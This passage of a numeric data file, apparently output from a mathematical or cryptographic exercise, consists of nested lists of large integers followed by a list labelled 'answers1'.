42176710480708079028777823828727173746539449843099181014969854049356627341894, 14238329707504925271146649193609819878299247086542987810201781864888187057994, 99785981209839168438015898115349342047289347111054445185177959240369299754112, 17535294194405663012058882696719558158294031581807547423000611130442402267312, 23216057293166194207276196787081204608156347395995177831245699027606634928948, 89525461596622839944272719845806703578611788070087996654747794935744450379898, 69326731391532136793249748585082252486736921910810300106805512662794299249171, 5417918092169483303228787849199925019589767858723385476895432202973253627684, 44848620229999692995960978785422466897573450807078432717666161091669297639127, 42622715507348418354198323136320959023394203392156253524694107671719249591764, 34161075954398763958653572914301485623421979833486097028648771756966717672582, 110730383178545935207017079454701241110670449318682205175606497265618217441376, 108946715262182838351018128110321471478181519700237313191441787959127230616258, 2411160811592560286080047040583030977176636658312218079491930317017516117388, 90934551961649508678600241542103443167419687595904983083156932064941774904885, 112120977206927668847637390347028041852372799459330520392225737708606936353778, 99292997393899844498120940397606675962581863993420567821090081025880895919527, 115004851580065117274941959068375394698010760100716526416587791196789552074530, 108801136246225059141608318440280753208414209163434857030816063767229720220568, 51552058003573507194028211500001560317863414461921203002083689634958508678632, 112106170018011868063067237304319183398496531008735054305196333243282010448064, 114477974452339079052326817929441097983909599182454530474020268575457505417032, 85288014622300591809990970259940010468194131841983559570289187336339917997572, 101975499346029985116586727830719725777617441551078085233410026817156820918572, 38933322820369995272440504236577952268918534656578407263864973177986913653036, 54102555655268139615522552545063479240756724352365680773333397594683962870985, 16055037167102800009177004048802473122228572698600005547567708604623889753594, 112909881971499784362059740415771005128360557504014605451629046968987157420564, 105789345883046528021103630504104698982981817129180272594771150395016522953250, 65484198527702542284936685263554945186031573828349968504273807192082758327080, 66186402920801918451328382602507582799403722678102681171478907855034916811620, 74428762667748910747584660799636933319081372171895962257633939197854995072774, 55424861441742225185116643143096265354986946358991630522858926425207553712264, 91172062303978314064552128453102109773815659821848491110973738077240077828930, 34037929338270925799062600491413585041556920554471439192061218794397894498453, 114341780764720510801724497294126986184550359706119851131408789070729256805547, 84307512271677763090014072258147505916260705590770423697221523376719082732713, 14259542248702578654790665677055453042145215213630229514169349344844722840966, 15309386774672152244384667292245602254219111228225956512494000579150083589156, 12318713266789388754649598393740847835830139485782709679176630821279853637024, 970511094728558671294877586149236343787024511895578787930523679463119685397, 69219554351101769428487757671758647813815431742056059691875819705683854214005], [10207430248258525210880811181960759596013266616067661951452958144692608744677, 98792618411006104180655543691567424399338721025551293160252914701912272794542, 44979887669768312021852582388938016883505347424597542713418609484613005282871, 76761319420277209765728162176190572549332471945224395939985106803484398844931, 35934775751618320830590127497046669522306214362897727955998472625620926211723, 89347407524080669660000870018457129941856061352065117283471643553921547891492, 36695542680263284170056385636521932863526936363670673902881717416966820144068, 18617516511402261875657978401113459641315586495024210012105177016838254975937, 102556956119098513062149778750989317097005291785141004720431278328743665561956, 2810196465629214195919808696382503658832967751589014674281958841904399591664, 6600213818709339991353475188855885862869972948539335089002097268084624602056, 30262116334974264794250292525437971014351011471974113346019108080707806948694, 21259027312760790287770235807889191652987451457669830470453351336368567868380, 91064183028985320392732015171371979850206241312262894422286763767442844186398, 12871788915264566599990213425811596710098239391201677304222905442534885001399, 86334634258902525418038747505382360553616885502144136941288972489302013291879, 80014195986548061735765349689645239100401477326435061355840319894056761680051, 40270829417375750622569043753074060522912475671009415758465046172731979958835, 13481164380498885539666310853056628221028144581147252403322320830513115023268, 38497904955392351043785280927843832644664472392484470999392531313467608409043, 17081183226551186164660514197834876702021585193982858999791513305360249424610, 110875997040758469098732477132839707488729793967828704580064026615375745241546, 80510084218786716383753761510842581007790111204970944687371533917310642134709, 24345326521775399584702603356673874760785930527519067000878169168894910520899, 42446217996308342435660515685303238329958348717254297725433879073781774609407, 55238985866848608616855220155591972408900303209261727609042030265883988353891, 114109103389751632489351793519684009861020650011524945855918900958939086497245, 53073408468152220477691493178801321238159571698042306804298626358077568383039, 90981108024218241736104201480322247392005332885671995830172870028422281707002, 55146513183699132953681465335001256824337909257321323116009703224952776933762, 58270453878520941152104714323560891608746650749243611152036415819541099862629, 66649066982977825190131867868898861681774937864829662518082484419170957900573, 87135194281500078359050341658624630456797036501003465707898779733526398912539, 46626429553744096066868021811803914262597703083852413359416014419716179617262, 53014174478012104711637367813888263341238073682668040731952263395378077565491, 58167762648759510386374818893996134211440881018250072949093232908183559532168, 42648391135163343976287204459881327188317214659807739326386974382607952569421, 75227743826926603368684018751714887615423493533880818299990638134346099642195, 30524585400785580252560174332813965557595423540584726411773599238847669223392, 60438213693962542262053323428428330852151867234755705415115983801514729889299, 91415556685799754249568934670722935747808431398830002597259997300982829264392, 107382060377196438751077081966849813769873213873375591356120130779077509642253, 73988046386651953426636896232506067240139475595006064498095246731162163669424, 15794701738155389812987997857186164117785130213651520736860475361244020925334], [37263706469514514826483928479442809594784422609052524158604242864906927858237, 36035134300115694914031566436138994174131503938637767730309046432661775679576, 26249505124718438861316649226756279870818584437703072392579995895527047893890, 59691609208370421864442357976037369138569302444260844348804121008900349698931, 73039339624261497302503535579209489906662208754522397768655342718278626867761, 28387581690595567644227321005589901272135345547703361081157682004264110264864, 107419077555726499497896970509776031859999757544652452582934461190128984752601, 50193988978939594659679306968379794892748107294016130756664061424849649762765, 55239968811638036778575118305425196599166203323717318626172315611846083307331, 78954556120459393163905915495896828692116753038935970194396221941582016316090, 67296511878546404657947926555867925011414432857856493773951722056767032369852, 62737661539624898281375120428762846797575172947862007074001782268800503001948, 20803136800754010410277687941822645848198311965650640575596493183506881771043, 52390358028088051996324490373232544908940048711917994334919875061047288293187, 17143623466542722494771622597837978987479906776254616054168032240922666030408, 40266774620061808273675950671132558363780835741928308123738820502416038483094, 21011557040901105970639801377333943190559007473183125630968525851761011130067, 6010477922832495234380665961285112750117316572114749885407443291109824747891, 67169023659559294625037766751960942746932064490832863253408686244012485619078, 13332952454246785100762254746726185647143000841888979115069697447926203828815, 12049169329683670229953676735736347251942665761828924233244746140620843198870, 47407550977985421805235313165697291226661489117206841305231506969615153708766, 72777277675098416341168094569836461608250091583615915978288741675050367175114, 24086083536285648444303033592199681792114446256603854396003238483936506192453, 79917029106104273181740661399837189852001183238480798849897983118342104134892, 108534280742313937384218602350688355741354993189567697561785400109244001455627, 79006902782020062997934184791956175328715490512522395590037684701392802961209, 115132745916021811476445245447429835681501244816582722502901165635828254218376, 99272752514567030196081220064260520316203711712322334324802759529356910350235, 90139362234811483183370197177297183734327250208619673131327711801374698417945, 89523642367722577284126931850693584246266561629714008572332064933268744289971, 21069138405034833133616307817815251061678429948941223637895684150014726756185, 217768312796060173393489004238276947730453685659800893839646591768586393061, 934112924034619775670436084887821648965611717049906624281337912101065282731, 22173641078876078595887854427357436731285799006852024338768392201338377559179, 15397793503916017029141386118374880440501154659313792545505014320267095533493, 62809797294495093735703347512438937825112148429524052217098510296358899206710, 10427086684227695651757169440369062180445549172798624569681250032140753273078, 12310920220531530098602597277276623314563065824713467661151327552347059030764, 109477654568413715330924501169144696751626301464300707744610685869665302439933, 15206145400079713699815876595536914319339670250384514890222092323947816463561, 66464712384559278762399347998102702319975957675411559698033827890607091923074, 85485144844568477638769636559891498187727746698774947166693892738717563939762, 74447737477200493010481018822044959399073307617235575630318600564397673613402], [34191676582828314254916231607351876877842162711261671048531857641567965037220, 91371005083210722822179698430318889923953456390650670812826023484992546762832, 23124543001351749859790815734883061497125561403409637196279284395786549079898, 103206524587941823538820712967287240055667973885849090264222582488326486223737, 105796900073825965942291522999454413427045322035425832662988500266601556334225, 1089081834010382695707894676622446924916437723447805956892063452207969661360, 89909578550450753321058193608410649173176502013817608107699073413887079561719, 67870942717583488018075467534063162718062062358861884667640268453954170756027, 94541635129306762515829761411881069998208769589680229149698833148553866080426, 48616915488425421157106636813462387972042176713667931511598596489044719837065, 5365231872777391753875529829043463813791873542062835486087153219345927012887, 12937019405629399706615888363265430041653440268117093461446228208531653003512, 19288753073105874371799705900803798529001627505140766030375946265738123377489, 29503029302619334085623084011831630216670981401133473623606111012751173982478, 52406747309866140418052661289816192362321092787760089315410524484228364494757, 17789282540636645230399905686401057460454031753056647227553805987074818430223, 160001830654579325028855903095454719037882916060755912944563143665837133706, 86562573542757183289288126013792138538293386379903006075148621951790591892576, 45164578110628427695068898332224032047311054940212617791618731596386778578196, 63364560815034222649139867069915033877117181975509442662499842312620727088330, 11518997899500314436885759330295286928293731533072534657465010807625310545087, 84499443768670902519973615035049830373754840652925176205161382454058788715969, 24868218272504149028804173629961658411448954842756043702205536829235616373505, 82605412764530852269240962346856574171331987812526374737655413721707816182679, 97293536136551001901024779638736122198539006015487334797562977493024755794999, 97913901976928597815793917056344171254401752918364516318324329335103776015688, 72806480000971278574678825624257516275654287580302585521316909565554987234268, 67195068664246092558798464454856419522259395591416104670372709693126580769469, 15038482316659237199339125490493559261989632688543442906393676271652731252433, 49057707985506419870760464221296588374802505401925719025779829474653203839050, 86621240847503371143851429578133601557834610482636346256413758388497511173538, 16591450501210761094369208849016820592318506827989011509670388356060896814196, 26691836999076158646294866581664611181784289351722181662465997220839591250789, 54155080112039943653098489226468371878183901009467549674506283611231068236474, 108069016432976410588832570110800738904135072008565660701657215449670446565044, 88449196241678114622768399881932886434507982333633229788923727944505826609380, 79798959540439063111859647169570526742218946010739561295652515108134278357200, 45200269306189590926659726670389770611055594444992349573769823337149307955381, 103257557366412520780840044641829694387646469333029836481597067171944949203449, 48126820101312697722371201309751222607553937545582588498269937645474563309086, 102928092091088019794106432485397481582131186165715058501136598748550552356139, 95115016906576970247848104959919786153007764914208815939766324202245010183659, 54957292396380334172679528134841430143318749022783937699297268154310256524556, 96002068598045870375164206082164192876528919923990403479546476769900247244214], [75085796281373686498094408778186760253420701724074825098123848135918055479042, 92025242866195171819086885323385008966312466332119349258500195257596692813399, 27794639914974952176172982017107123457672874706803381911467322726654043114513, 22737988828758859259955486529087600915845602415798970581452614826965595800819, 64888756684377258664236391282394123978042810073013087640642342759059248743274, 55582036110469499315260332430966244369894814309916034532322858062280812347270, 727953083928284842851787728904145699404482480040126483848844668644007244516, 85323352937196388453293041310864735582166065847578459539900842128602290477592, 111482385620588135885300659322429673225539299231873234932961110343552604303042, 82415206804846244191739458409912718596388400905671687597913239115357098750354, 103859593599736768918957456771929535332002121549042799908200326323909555921137, 60996597489865559132088723446040238625564201808740475719552057847136902172063, 103523547612880722961906183688553525482540621585344153114276530344731536082846, 54371512205300011082748433780783045651025577740022230034860972474037512555648, 80594865351200889926389892840417564099857698040405073291802680337283989978547, 78808666593849148227727771175637925276781241698371226137199804961769684362196, 13775329490858341299545968627352125477479780481300567085637571943844403341622, 31260604765357796158547835365776229811251476890723525900006804796201397558028, 79371832340590184192162644894711017823643696430202475808134794469636102095520, 5656516504969001924510728916602682610420752227729128505580092602939868407985, 17597464673336563645870219488389992387679882288714564189436462547627107778513, 11223509415375355453176752642773093676623803314125924077812352922742908013014, 103720597372581804073689606428710293508356564769617169078446776607743153716656, 58392521633802789407093205102788863568792231004255881624249141082910705217438, 42522122125369631405251755276621252907571996432289886633137718405364752263965, 97122572784403638197960869488692034190798523903785932105161152944621052958078, 93860232589986350160615531022901217645692402617071278556335212402667144137189, 5352575815485614165247573449669315268691001790126909611395040909711574138131, 50125047853059893988457165237724419146121353063713085866491773474811055864650, 33410977818719217898613180417444563578493917610103074274369653591632536249122, 100902253279656163252327739917687474456237038985379985930456098755986950858922, 17865939508780314547164753876046705901543542705757199180022151332809302498975, 71848543419809477852809749537847015705477721236082454843250938308835355289882, 65955290736925014670037844182760131476359212563545609699432101774381879339079, 32241319242218248863580572081478803506542195389625906332814200494095264971552, 43995774262325440670510688822330829953959882620210708114360428769317966766297, 24964945316760196058616633140199358115528236727117819394007172374968605716424, 12250171767965295203654559468008292796869883299909569382987811303304178029395, 83081131083528262006985473179623658652316214622460665014978308835279938839967, 35465063004791348982064303071768939267400947433356984472479135712302084851996, 21346423009868054752312140573806366926456281039642811551143338770084916478454, 54654875230582639698885824687324041177625324144031816747915413119516456440689, 77474460356963846184883838392850588288813696862680608980268911406241579320318, 86241779674198296763459448496541538798854725084895841508004240498314953937900], [61575249645675645406806305573164762509971598608575263567389572195769953248384, 89229019085775681123966068811281853414375613506997566332914078635602862040680, 64463444707127257568471669529523576261655406171612512731801450275409189053868, 5849031780613291083351872559455859273630085198980304983461869869276982748522, 36336229812487549155304060541920178828253007696000710144392260059418271953275, 9703648808171502876800876235561837909584188737556704116466871836266101845646, 49965226828778988319729567631161167942287929478950746150002720276488777401801, 70268029321637228513534671187112799811162977808172056885932240227630469793927, 52959380081285874221988441368804851681270533984988850748382712748875401495311, 50077136032232936024602860203666405497184167588178333327313519064564660904998, 14423627993028553819645730154179111875029062956731392506405073705172753579001, 85998978802130991666438082353532654719436402267283991840785882701722706591975, 101685858961218508117920114504737004708104723117895687975527279351628700270056, 1196298914621674660263376336645933870457079291420044460025103850505158287315, 40164770577532380208216988935397646990638906934367637836890100285008828568647, 108953237623729469703976236933384429113136241938106596344658141791056936176534, 68829551518711468630901379055654641478909065502711052966166128810728268811814, 76476362580663474106614212133935934150381153578605864739234791247626901879739, 78171594589537527310745963716085464498228295643944105496589957346060722545651, 108961874916488714366696001325441242017791564046859490320008023282153448170858, 92445009036332202408142913223260340126372585679040624387802240305471320252817, 113086973529801335857725653521975136230746899976477414855022279314601494697712, 52840492142217808353670420847865501142932447873391463130190333010043824811004, 6276877878208609898351853335366939428427186692150963748688412505099781952925, 61503686614553483630908358956852571841015024360361807301665029451503920125234, 71952824446326994640338341201568413681746778484751732689718065091389306075376, 61202977252688228095316499738017781087912631674724412456562835020340807767610, 94371359495256177676642288752933116361808745778999297479384640115664925112992, 69109963061758518400266125761924661357686429196372854427992259291862451433005, 114059339272034165028418249882624122645870122010711862306368498658726915087501, 80282030637907000783316405692564474905450324622721447142936201035724159525282, 105724165887745156680604646105193695490480767363261485103641571122856625195781, 61227678089806358622332690769824550206790841084281318157455416417141645794755, 2355805453194841478764367549880444800126896439849036245709422299914737084507, 40789142721566846716669624528047693768866117342891331977284450982598232407787, 21855224476992642506732498138724312844399848732072416410299238772077088745745, 104728798578069892204144941503798468359614746010597033872078029788607351629647, 76581908187256483325031815946143637278742325243439432428410931198967242455152, 14197865692445840051472336701679489852773381552982309822940224593214729894303, 33791261417007065984896525864549151468115469472859826482213503177706859336218, 58795756043106363731657630721173550389550605322854387624021734941890967662982, 93213551062406902029360448195326146370451043281285036164603123314407587595445, 97795077858236567894600263785825545976843358992489456509329766096962227686388, 65520547161264166943487719059114387214850581508027917714269328526072079539420], [15796424531025615171347622189866131403385615747746719376205604543836283972418, 13339163176681005259220068307060928981338502775882911935793553031695927335161, 4048858765128064728523511126992569970075376542943448567303827422129715580325, 25447601262185453088083414151461296328511547708205279494479998231400216832679, 45055987768445862491490239431801371997760285383978831357080306957605507286137, 104888389123582375703288166222639261435621518301599874866767124575540653679330, 102460567012059481575814442385188514380297117826447636563460660010862935663479, 104010020437324355072590704717923125398955723911711518061617030719641800906111, 110193913928195457814407172529468223434003528326434681089521474816331879388975, 70782385297882860405978257519506823670978556366955219291366289575401004457452, 98925164545957067637942133343196381142904487865820778328062574078017571442097, 3117312664382886157352414998625925895857552735532832060804987882457784753784, 8690164531774981116352716470001070416177129501132060551457705938794994656594, 73704584065705031172373553007992816590539884870658251093688804626409156751399, 95910753735577600487651932784713961937198814082938505477853569028305792599064, 41290661649779427671923911360795458821103061603472730432517821061027115335744, 48394317037614409267221114536674290806276851687016136951940329872638527884307, 105104870673891740719619233457563584245358920113416352935748186643138138424547, 99022507915275354392493988899642726393032165977542501876002991605837620794941, 102732091402257179420359971843130443394356307487817912584148215887086696174552, 106937851890109410898847163170893597041844922529382251123323960847385225010961, 72315849905405636851276704520454718626648505893906705977772386927182922761664, 12168553208359235726803585020394878794688664700729185556702521655571674712548, 100095333104628419417515165841903013093830307466419602429767073553514954524425, 74961557227273696118489580239230981458676894717432658572652183453811128599935, 99353185176592845282130008866371000296513666488228444661451868786323894488220, 235175236839768684719314170156763385603905200857224951099660200450962457464, 112435771206611350290575686762610375672699236521268245645759919445399010144174, 112493420179934566110713695826800076997035578351646550123250774903247368998325, 8503085089116801280597351960022214129663325496809213025069312704447433380287, 99507881061078504846493668522598534962380592343077405201257113948468405048931, 104065693992517822752956480999192721553227911976482842737729564941329692846614, 34980293040817443623413639482574881046392087786774116351558995546466536550822, 95073211615806079934581262147849065206897229954146637703273254315448024424029, 7918952555512583612326811765679770186975364720167568531602291580596047727624, 65413716019205507124028463440571645045895097900790719990683785171102758651577, 74970183220963857062328607022676384671128500768256197556322965681021792394322, 102113515935613200284894889408723555123227792442838799437497414877771828989776, 23248835394652735378098212331512041745352072297418040896519885796137071907669, 46139759622761897345072951307465162328718830982362364067367390596438189182318, 50313110784763757798288527967810744267345197268595738528011844821914169398704, 19108966600581141049489446247602678292775707932025120407508054689733870579269, 61803156163303719444758411115155281574814007944369951272130179032969759431117, 113162135345255722588693926628451107173772235178037642001290519481371758559201], [108983610710192520573577518709325852493032764469232461765820851569406470240608, 80666434696165311049449087667924491167510745199842330394347870758182947338482, 112934023543915896049146443618603144228161535758267150518097315195498349964470, 18705939059572155485074586389406737941220270787579215654073010106165039520512, 17929045440741986387717619895910452255000396811661890245744685320435794911675, 16120885380307642525429810928411730912848779855043950179731578476099691518826, 21965849673679176514856865141881802097065627496608811733208648545672923041469, 1834615879618568881324354379998060106568987758302182324788108340865774719679, 107049613222874062041823838901648312555879319714432576941018356013159152053345, 12741462431116210727995381202232740197825141589238997719673250342173776946910, 15778058224596671639667965976371834225874685175410850483696095571730017018404, 59993945776487764672681412418989856708064407464620950939784904943926250435472, 84172618912579665525457064265234746746607239656071379064763779411073030101238, 91246321058329685868337996115680190091561932679365396127391492852149406983473, 19236699453903413689391251927043977371252512093035684489777259620891399261768, 103066203028224374412799161886895690942275910041743669592213906930309218383331, 98794974427592031444409472161977546567330961961245117616989296949243859997404, 107333234795403205011576363399481311306935755060532541550966428422133942959054, 34149170543735047405658456338376372754641253086583897345664117661724864421229, 16485436028282965726222396393635316632425157235378046949082550401644775731752, 68437338963668455172945608485397209441158224556400032167609923774264651438757, 55938403818305448044960566943160506758041412527039102279171944322336445842236, 40281097141342218521683426121494695760528001420329154531878851758290776976949, 15471632587838680749585201275295040036726007160730855480032692795122325677036, 60611591732252493561505249354012154954422435565082592392990726047567909565583, 32798085870922589741185594784755897111408350682306499278465911234237249853479, 96815222604405297509949868332526315314028869708142011357921260165988532117388, 88862449135281033978596019325047125831047213316649536707472421162983324124604, 4868370312226898839604523110359129699009708403599898262194149026502942164563, 5912723298336241035149072801643303704012753612256007622602712737135422385846, 96777018000877659257073678156452819939824589790979179280518435140287804593075, 61719718529822009335047928099463155443535159329377439086277285799927370895422, 44613440413284917946678243031826945812510297659794931884377914354066008345752, 96889991336949627134659710013977236535394094106403155009090740102306023001325, 107047916310148333527304963059475077462812140199313330035614850605394531385305, 106126657169509309277943935149278683589361417463877387843527418366347130262392, 46336107775867801962033588508060265119578120401514872858837491012220310417867, 33995910888909886567739092219817436684733708180745934892309697691444140466453, 27839171922399181282911323592725097609017196993831221052059116338507682298499, 72668202426535917707163873934143744727374375816145899335291988203990299819516, 98498861720257174382597984993353148032818256434446047312106300901842777093562, 51786491409914623708342274302931967568233415539880137296817091694022409334178, 70794191747456766517994394591040572467953515529977912347841335371605177500398, 8728531332655216514494738036072958703005573452467486216965448487521755471299], [114225973859111637236864679204215050775710503518521577273426140352731532046691, 47945640121037132965576052664975291912418019410763512361225242282430984183725, 33540141412842261687004418397576825411786408402719116932519449428620959214541, 22141284846958856707333435680716092034520830917034570291570627497940808840407, 104375544857597952739722085440722186926324239214326807547376554684802854264280, 113854429711149653503012177507398438980466104589280251803684931576742832953721, 70076210991403167398632634795468981109812681410907163901379681703780272505954, 103926287487338696845594661826996398126315192499649543848334181900168788905616, 43306020217827548122992034950876675635983597682725859566583050845171980819675, 100158673867148087129104589169786712090376004546752668311588386739194259025634, 112680200295520139150687208651935334527353270494200690349502263749843458613877, 89393509713584721308816770095981089720689834835391624967229169724633790157525, 89179861561497525856082936287110301501009350703812524622851844593077311794752, 36950430723272278136595529709286509569337192705665663771096944439215607181054, 111091924076466793501357035217060056622756249901358249842558974451819475789027, 56729412306931777929395249343412449398911551973081268364456714448482977201502, 111660122183900067651628920132349295699001793260431364720035540656294267992539, 14294508865908521513852110999884122293822266485086665415522614967529385454635, 38948913483536003783334892465809380054596236965835306302658263797116816436642, 80875191331434372260497497160748662559252821732493485367172966513219548450900, 77132623109376062870264282823223642107442013727797820092695806462377156656726, 89045314050842906831736501244823049888891503824447285169845263824659831942699, 59505551959451134216982160081333568890441934242673134619116645224237322363586, 21454727271854897837098195406739165170438434022976540993315949385615145579225, 88131966425337300712987755561457861614336574595028555983984771884998294540783, 62559553775572801745633133827459275578498034758005484625909520080258688768361, 10035692929914135333725132620397559031014761469920739934256452651923081420902, 74125612224753117909728339060335672086068390820428582113088580098853130142119, 85450580234665028701563815848700141311863226274107706370364471880747074887554, 37746038485430956416586716359657726853169235750579485456256393173042988108452, 9541060433182778845479382403764853855776794700258508812869876853278375751429, 8201316072039489691208087153570737690634827037012013546430097248613876674835, 88827022413026480907163686857830356377613727780132878639556991796746735865084, 396458090479646533294101511853070584177616049447626512638306566052010372730, 74710698631039959911596215702795905940878693303654268872311684701264883708172, 66338561899906612621648189549873572634095629196020944244096118030485051018501, 105667978850705448942181756039613209343364416019697252975899595364898623262606, 115080361666992652266945634569420085755834045491509878811372534578014050989456, 61078779056454950598551273303705795009932385179675115045502090000714352106355, 85901352002344176265274174998092700099194545953314578737795760503499469799978, 64662644629149542670938108798647411912411524320018555696469268326515878783679, 37607221350465012914793319947841907269956877620845946576183067407600052047213, 41458602099292670101026459213087277924415768484163360331053914153646194820618, 52059084884476615778242297006831157881685712636575314429019475053143289058678], [18895617072744020470947027605107226035215606602323089773713001084539869621497, 28470180611772033719070845731445274616825940605640540347638213850905599532972, 44687274886816484200349840094110713782783748234003812857502149474723158390224, 71580778318586924064937558869718349755764501247898797886639795319380947498661, 26049162467894234089595035422427935759728232249378316937713359781883562745420, 102515597494217863339771773688818672168087220744954088276719063172017000438743, 24437780451139994597362400892909756506832362941013785007436016604417545356446, 59261445602419002974357825779536286126694233661908518080845606763205816986925, 82801575216047038800739629248952459382818872264893486256945073602587559714509, 36481593724291103211605761546362223481802688409274854735789790463724390509093, 67188779180562507038724902939592358743196634880059243114415655894859058971210, 102312200409156387835828464421336830198829511164456693113830441548165805404523, 56983248252894419760588271080755047935320826947151227432532907789110243916413, 106651333899772468183835321596445558361146195647936936590585543881704299363659, 20749926933579659768859344082554763574831599883896909457180071806653074548076, 31059547623940231324756310094944010189386486285188119152440364427907918869285, 10036373727046700059488896876882463882013459814948968660788128077318481169303, 28448119156834752731718112188768980712130030078114990033407978953537026755331, 112496838212213999683894252557539652259107747450096790379023209782156397859550, 6733300241591448440669311695847770128013813768970815308730190725693310927011, 39987792059533707871559355600812718016715269471323656704082225723726697514173, 108778616211930172941381109636940966086271992408852361694313136619067633431952, 82666706499418899357459970935315315757984037367651213972660241328645947349882, 24187214939137898628374221934695041024485381030124017109706701654567637718134, 5251328374514167259206168623931975088262700228714669419405307678214726925934, 34360518244499781110502516381476354881792925489897265176949371276171583829682, 22962769923435372525832874410910432484796373368341923431326726073443830983973, 114772635034984925638842455194935279657237393410247000494512222646269117725346, 45495351038003011424703633462193851132698296044039964845032673284445373055496, 12421741412807712990301732530779655028146520606141327571972938389335701778763, 43309575519145532812819741638368944707456396008617074234237940646310715095319, 3699245106204327089558056368978257011337377240767373811371981323168673532923, 50646549215549620885457334260092897966549890201728646191698872433178169097258, 56275515909063114071208955633218030888426706629607098016340109907531539504113, 64052547346484053948064767270576600980900426332095856420656124748111817223912, 91820430780914508375955349754932441230306972423818753355892122926606360941756, 111786728193017835739343361373890028511380038579096906153281738996158609432489, 43413060037234824570484832258362718129445927340168101550696319097859209165593, 30222217610441270574675056825405325004546763623285804244490209288892356422396, 97658976188183014562636353589583575166995041794325826797142846701380852704324, 55191076159703430097053852677488824642813483104083155374491281769819817423636, 110446420528601904263881856234771475133470965437556801748579735003365596749549, 68541210355051605133233441331141094420547544483971361712814385795456991678685, 75421141162895647947336967685384874211207695449181123809427513523349236699740], [14876893677650271998802492106477140620000085929365365956085585561400783846088, 87003402542715162258033311021509456514280492216807709993057372528092464039788, 16738502464964394401284505541764299484703098844918406378422860314057615720834, 10449697234396390538945980338431114361984989093024885828275662332498983156925, 67793435360074550377868155966726007433833995035048233684190442365347496653846, 68157399559222275606346060317728954172376088869975487035248618581445070802134, 70325839940235375636333077110913904807843046425421284490998965114706320815713, 41659534332208752179705997650056957870104031984279595267505677577626427604920, 7368181410949263995322880305734303110000439207664406654657055471633569159677, 111949798628859363854772483136421340487779119701759122938306700383692372405886, 113624515660130450167731431362246839445161726244348663509217649988955006023817, 54716976495966604553736380676639894295910758803582651150791184263534905185713, 56582364935591774986562833984467693595722279245875635246228490263484784096577, 96612802340383309580801637020998613866824657708353707675531162427337718331369, 4480488429055315349108873404973377435114556893207149366765562188988686677639, 98871629018977978532704625091425779065982104317154532885782596922853950634303, 63756426506079612906468144890237109760061290088860826769396526782230155798774, 64344172143479048719950755734222948127525287439993881811052525457298683949988, 112877237899173464919047833851764721140696366243325371871568440256786845498204, 69291596467387666660825579092576041696630286987901413214415084527775642571745, 26600524094671252808685422979025690386755902952514201778458536014676068542741, 49826116550117156362786229283340002997193588910114892907739525213512680321671, 16237879130973715470201913723173871470533677119488137907167958965250591076268, 19232054433060179947668993048597690235502847422172936774031132137630681955995, 90195847390969856064787511277464892497884222389437258856140124694370311343746, 110103642568768181572521799241632534942080888999581067539695813255555957933233, 80060056016487122284795211177069011264912281509307284817465076445404349737309, 5258509588379484687865508619020497358538681687760163706614387639543669974892, 64294128878552860071746190775494502799537054521329421308455848619359123960110, 71532475996479907454566248906106282580218886397560923134337518508497893450308, 56254968449165050481277642905244209960989101931715971276083972637856596811157, 18017606374693342710792680019310190370119427214561621862130409392222878214401, 95788179717381432094074031071343623337589791876373829710458783681287722118402, 100584054738349074782271577052241477316324713152729421469798944326390366021719, 76078570979420561090722620916268429358820599704684063547778793932859805478738, 43748985587287468427517005041844117152394279826373171420785337489781410915986, 16157876577250281180351403278585810583549184881147229944307617970436584399582, 90969086983411208932629193449947043624498472142420218345067901230664980594734, 105950647271895566893014643108259394331184391820296240922929787510963780917836, 78878380894287762510971662731811368208172662389558095172818071749335939406085, 45800844200314771262892706263730744054255498634180890418158422343335185202051, 69301823370783847768947092139861630323203599831560549734779865919488563800591, 52449385899632055920292711691678218217312445588127181909394969087887423259401, 104381371202195382996880891099393554485454621731796463143362906554794640136861]]
answers1=[225724322513892978954856063814857134363854831619267320217883384320067074900745723, 173161688631090226597591599693937893514503089611947322784622916834932561133762904, 237678346628934716660794927670664217533588144644412763940340641516314894418507015, 220759187327964589778461382502411088900205784617292252282186595538552476986091159, 222608458021417837206402774020353050810856795531613800338612440017158109518283015, 199469581434703029571178565015026017815911637104930391508679981986481795460300766, 247859566561229094222760463363070604972437464538921362386678924202064149936535918, 221432800083912605894904530088671478890734130470925846695881551908987391282589065, 217816749728009309324457819093386454171872782229312457723101934861027043355607656, 206034159618310026317914189832050233625496843940430080974621075855315586657729026, 184764618432963215625245891238750830409190994590207217442116834174773421592305999, 208157327186313241328388125928792556006335550722790736558031582840889942985003715, 220773257770491613800576774354513397594944965180976715760501956700912587254941739, 225090981963483368273229717196918722413850559272038058046887391574092588424042327, 228695014969723545886205479731379033501229674739953531160075787779123998846186466, 218022245745959830692936893143450232282460177063213990495017547618423513460834222, 246180554572921214644717153415270483259192967396109961059942773868814691609926429, 221037723859592864764095145667708719220779143534922169407671709859443476628000436, 172573458939244399082623983766876065382707479075381682163595407718139040099143966, 213995970165374410577254284355301630762532482927300892671651220774028787765022212, 224248245300690628057492635385093873002126859011078423888629723159549607721964295, 229046890763633032155277055252335292265145385174658530402151647192294696975559937, 228930520619720295060764849090108795773528719002829474464113763845325900012135076, 236263013866222908892668758502631173369421328162029948630414821780537880366201949, 213438506319127679597607428277448927765734208377879607704285412709840695666095465, 226283003378492667130651215452744426365936408194977117749521819944962896635895049, 227917816179738770247217787281395686102066887393240927401015592449207176724453199, 219196690541897722373949889637390157204757693585786305946292359302878815898883828, 214433516157660919745284736365093605496585021810143900860226446006122167475453045, 232642065171514048666571372375587022138175039836989499576069607718911735174338942, 213245363069942693264026625103883333473236549304678974327965954766758582761774806, 228370900777626716768850043883928792003883431396172557936571867497639199757673110, 238540083877377928874846514734523501626593389999229721954458936740600293978429478, 237603144561970157468297157381958012569759589632053264336349253287350468594139917, 204972596614465510960996932445560735541647047225381359870978743793359193225073687, 188142629225075471650244157925097651164581015911434162811678515474100568749252764, 216077211177164842028049935367342848743670893665827027132818328429715120660947419, 205896952008874744439112808818733961118393907605565105025756920164670801890348241, 233937245655272654674058664566588503237421570625002322820057454262981811857333692, 241767778931520568554452217418030507533578332042117714608243364806941619561354398, 212244461668144548822277581291997453903320966946658344047298744448007730613508260, 242729921042135893521730266612482661948979661311304874747845106003265963969473298, 198722601757993574870800175942374068387875894170466411853528688983648664272581810, 231113723980651613430738280188829046943991208655322408359452533216631041863742135]

